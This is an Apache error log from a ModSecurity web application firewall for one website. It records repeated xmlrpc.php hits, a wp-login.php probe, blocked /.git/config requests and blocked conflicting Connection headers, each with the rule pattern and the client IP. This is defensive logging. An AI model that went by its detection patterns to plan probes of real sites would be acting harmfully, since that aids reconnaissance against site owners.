[Wed Apr 15 00:18:41.804159 2026] [:error] [pid 60074:tid 60093] [client 172.237.101.239:34348] [client 172.237.101.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.237.101.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5o4etqnEmNU9vpHCnmiwAAANE"]
[Wed Apr 15 00:19:57.252885 2026] [:error] [pid 59986:tid 60029] [client 78.88.230.100:32992] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5pLZ6axKeW6bX4H7flzwAAAEk"]
[Wed Apr 15 00:23:28.883707 2026] [:error] [pid 59986:tid 60039] [client 212.55.193.47:39830] [client 212.55.193.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.55.193.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5qAJ6axKeW6bX4H7fnTwAAAFM"]
[Wed Apr 15 00:26:56.631426 2026] [:error] [pid 22177:tid 22199] [client 209.136.158.254:55124] [client 209.136.158.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.136.158.254, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5q0ITVeJSXHDIlEDuwLQAAARQ"]
[Wed Apr 15 00:27:15.342081 2026] [:error] [pid 59987:tid 60054] [client 167.99.153.99:54600] [client 167.99.153.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.153.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5q41Wpk-Tfi6_vLKpk2wAAAIc"]
[Wed Apr 15 00:28:23.564608 2026] [:error] [pid 3810:tid 3827] [client 212.129.7.184:33026] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5rJ8qc5XaYZhFXVGf7CwAAAY4"]
[Wed Apr 15 00:43:37.419247 2026] [:error] [pid 59986:tid 60041] [client 148.113.196.234:47874] [client 148.113.196.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.196.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5uuZ6axKeW6bX4H7fyQwAAAFU"]
[Wed Apr 15 00:48:10.323944 2026] [:error] [pid 62295:tid 62300] [client 121.200.216.6:59150] [client 121.200.216.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.200.216.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5vyhng-JDNFCa0BnhdOAAAAAE"]
[Wed Apr 15 00:57:12.192593 2026] [:error] [pid 62432:tid 62439] [client 159.223.103.141:36262] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5x6LPtNET7V_vfTPfMawAAAUQ"]
[Wed Apr 15 00:57:50.833233 2026] [:error] [pid 62432:tid 62451] [client 149.202.83.206:47814] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5yDrPtNET7V_vfTPfM1gAAAVA"]
[Wed Apr 15 01:00:20.268006 2026] [:error] [pid 62295:tid 62312] [client 150.95.26.37:56209] [client 150.95.26.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.95.26.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5ypBng-JDNFCa0BnhkpAAAAA0"]
[Wed Apr 15 01:03:02.757742 2026] [:error] [pid 62295:tid 62320] [client 54.38.241.153:49410] [client 54.38.241.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.241.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5zRhng-JDNFCa0BnhmkQAAABU"]
[Wed Apr 15 01:07:54.392223 2026] [:error] [pid 62295:tid 62314] [client 217.61.143.66:43626] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad50ahng-JDNFCa0BnhqogAAAA8"]
[Wed Apr 15 01:11:55.710451 2026] [:error] [pid 62295:tid 62318] [client 211.169.178.4:19410] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.169.178.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad51Wxng-JDNFCa0BnhuvQAAABM"]
[Wed Apr 15 01:12:09.857330 2026] [:error] [pid 62297:tid 62365] [client 137.184.64.22:36520] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.64.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad51aavogcWlrafOEaHBpwAAAQs"]
[Wed Apr 15 01:13:59.454942 2026] [:error] [pid 62295:tid 62321] [client 217.182.82.42:44146] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad511xng-JDNFCa0BnhwlQAAABY"]
[Wed Apr 15 01:18:29.709798 2026] [:error] [pid 62297:tid 62363] [client 180.181.244.244:60782] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad525avogcWlrafOEaHGGQAAAQk"]
[Wed Apr 15 01:19:11.574286 2026] [:error] [pid 17734:tid 17741] [client 4.240.89.23:58868] [client 4.240.89.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.240.89.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad53D9N3xsztF3DFLWwEjgAAAII"]
[Wed Apr 15 01:26:33.355266 2026] [:error] [pid 62295:tid 62308] [client 211.169.178.4:28892] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.169.178.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad54yRng-JDNFCa0Bnh8EQAAAAk"]
[Wed Apr 15 01:26:36.473555 2026] [:error] [pid 62295:tid 62323] [client 201.23.19.75:59508] [client 201.23.19.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.23.19.75, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad54zBng-JDNFCa0Bnh8GQAAABg"]
[Wed Apr 15 01:30:50.650897 2026] [:error] [pid 17926:tid 17943] [client 34.175.117.206:42376] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad55yvKxFvgDwMI04zBYwAAAAco"]
[Wed Apr 15 01:31:09.533706 2026] [:error] [pid 62295:tid 62310] [client 59.125.102.142:47810] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad553Rng-JDNFCa0BniAKQAAAAs"]
[Wed Apr 15 01:31:40.154770 2026] [:error] [pid 17734:tid 17758] [client 144.76.199.240:39596] [client 144.76.199.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.76.199.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad55_NN3xsztF3DFLWwKRwAAAJM"]
[Wed Apr 15 01:35:51.915975 2026] [:error] [pid 62297:tid 62365] [client 87.98.165.243:42532] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.98.165.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5696vogcWlrafOEaHP9gAAAQs"]
[Wed Apr 15 01:38:34.035712 2026] [:error] [pid 17734:tid 17752] [client 23.98.148.92:46850] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad57mtN3xsztF3DFLWwMPAAAAI0"]
[Wed Apr 15 01:45:32.887537 2026] [:error] [pid 17926:tid 17944] [client 34.73.73.46:37480] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.73.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad59PPKxFvgDwMI04zBbGgAAAcs"]
[Wed Apr 15 01:49:58.938297 2026] [:error] [pid 62295:tid 62304] [client 68.183.13.1:54602] [client 68.183.13.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.13.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5-Rhng-JDNFCa0BniHBAAAAAU"]
[Wed Apr 15 01:50:16.174332 2026] [:error] [pid 17734:tid 17755] [client 178.115.62.159:15599] [client 178.115.62.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.115.62.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5-WNN3xsztF3DFLWwOMgAAAJA"]
[Wed Apr 15 01:52:12.721754 2026] [:error] [pid 62295:tid 62301] [client 178.115.62.159:15502] [client 178.115.62.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.115.62.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5-zBng-JDNFCa0BniHhgAAAAI"]
[Wed Apr 15 01:52:25.311161 2026] [:error] [pid 17926:tid 17933] [client 178.115.62.159:12336] [client 178.115.62.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.115.62.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5-2fKxFvgDwMI04zBb4wAAAcA"]
[Wed Apr 15 01:55:28.568800 2026] [:error] [pid 62295:tid 62310] [client 46.105.230.99:36733] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5_kBng-JDNFCa0BniIaAAAAAs"]
[Wed Apr 15 01:55:37.043851 2026] [:error] [pid 17734:tid 17742] [client 137.184.132.132:60738] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad5_mdN3xsztF3DFLWwPGwAAAIM"]
[Wed Apr 15 01:55:43.334114 2026] [:error] [pid 62297:tid 62364] [client 137.184.132.132:45560] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad5_n6vogcWlrafOEaHT0wAAAQo"]
[Wed Apr 15 01:56:29.820680 2026] [:error] [pid 62295:tid 62317] [client 185.98.139.113:37602] [client 185.98.139.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5_zRng-JDNFCa0BniIkwAAABI"]
[Wed Apr 15 01:58:44.379144 2026] [:error] [pid 17926:tid 17943] [client 185.78.209.195:28504] [client 185.78.209.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.78.209.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6AVPKxFvgDwMI04zBcwgAAAco"]
[Wed Apr 15 02:00:51.027095 2026] [:error] [pid 17926:tid 17941] [client 159.65.188.29:43084] [client 159.65.188.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad6A0_KxFvgDwMI04zBdGwAAAcg"]
[Wed Apr 15 02:04:05.159656 2026] [:error] [pid 17734:tid 17758] [client 212.132.70.123:38080] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6BldN3xsztF3DFLWwQxgAAAJM"]
[Wed Apr 15 02:07:05.902358 2026] [:error] [pid 62295:tid 62307] [client 34.34.78.57:53220] [client 34.34.78.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.34.78.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6CSRng-JDNFCa0BniL3wAAAAg"]
[Wed Apr 15 02:07:42.111090 2026] [:error] [pid 62296:tid 62347] [client 54.38.241.153:59034] [client 54.38.241.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.241.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6CbsTNd04nWM2DK4SX9QAAAFQ"]
[Wed Apr 15 02:11:25.979041 2026] [:error] [pid 62297:tid 62369] [client 185.74.80.5:42156] [client 185.74.80.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.74.80.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6DTavogcWlrafOEaHYxAAAAQ8"]
[Wed Apr 15 02:15:51.492645 2026] [:error] [pid 17866:tid 17875] [client 147.182.180.16:53454] [client 147.182.180.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.180.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6EV7x_17kv70EUVIlO2QAAAYc"]
[Wed Apr 15 02:16:42.152330 2026] [:error] [pid 62295:tid 62306] [client 212.7.160.134:57634] [client 212.7.160.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.7.160.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Eihng-JDNFCa0BniO-wAAAAc"]
[Wed Apr 15 02:18:14.606451 2026] [:error] [pid 17734:tid 17760] [client 175.6.217.4:39658] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad6E5tN3xsztF3DFLWwT8AAAAJU"]
[Wed Apr 15 02:18:55.889371 2026] [:error] [pid 62296:tid 62331] [client 43.159.149.216:40344] [client 43.159.149.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad6FD8TNd04nWM2DK4SdCwAAAEQ"]
[Wed Apr 15 02:23:55.461370 2026] [:error] [pid 17804:tid 17816] [client 217.216.48.92:45458] [client 217.216.48.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.216.48.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6GOwAZKYxfpamecKeJJwAAAMY"]
[Wed Apr 15 02:24:46.924454 2026] [:error] [pid 17866:tid 17876] [client 217.182.169.225:45348] [client 217.182.169.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.169.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Gbrx_17kv70EUVIlP1wAAAYg"]
[Wed Apr 15 02:25:11.226126 2026] [:error] [pid 17804:tid 17830] [client 156.38.250.159:37874] [client 156.38.250.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.38.250.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6GhwAZKYxfpamecKeJgAAAANQ"]
[Wed Apr 15 02:27:31.470129 2026] [:error] [pid 62296:tid 62345] [client 148.113.189.81:45682] [client 148.113.189.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.189.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6HE8TNd04nWM2DK4ShCwAAAFI"]
[Wed Apr 15 02:28:20.321134 2026] [:error] [pid 62295:tid 62311] [client 51.68.74.67:41422] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6HRBng-JDNFCa0BniTbAAAAAw"]
[Wed Apr 15 02:31:28.893647 2026] [:error] [pid 62295:tid 62315] [client 59.125.102.142:38470] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6IABng-JDNFCa0BniUmgAAABA"]
[Wed Apr 15 02:33:13.708766 2026] [:error] [pid 62432:tid 62451] [client 35.226.125.165:38008] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6IabPtNET7V_vfTPflVAAAAVA"]
[Wed Apr 15 02:33:39.122440 2026] [:error] [pid 62295:tid 62301] [client 45.131.195.185:29281] [client 45.131.195.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.185, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad6Igxng-JDNFCa0BniVYgAAAAI"]
[Wed Apr 15 02:41:10.282568 2026] [:error] [pid 62295:tid 62320] [client 196.27.114.137:58078] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6KRhng-JDNFCa0BniYVgAAABU"]
[Wed Apr 15 02:45:07.670281 2026] [:error] [pid 17734:tid 17760] [client 147.182.174.7:59406] [client 147.182.174.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.174.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6LM9N3xsztF3DFLWwZ9wAAAJU"]
[Wed Apr 15 02:47:02.733468 2026] [:error] [pid 62432:tid 62449] [client 148.251.46.181:49800] [client 148.251.46.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.46.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6LprPtNET7V_vfTPfn-wAAAU4"]
[Wed Apr 15 02:47:13.796678 2026] [:error] [pid 17866:tid 17885] [client 85.10.187.189:45162] [client 85.10.187.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.10.187.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6Lsbx_17kv70EUVIlSjwAAAZE"]
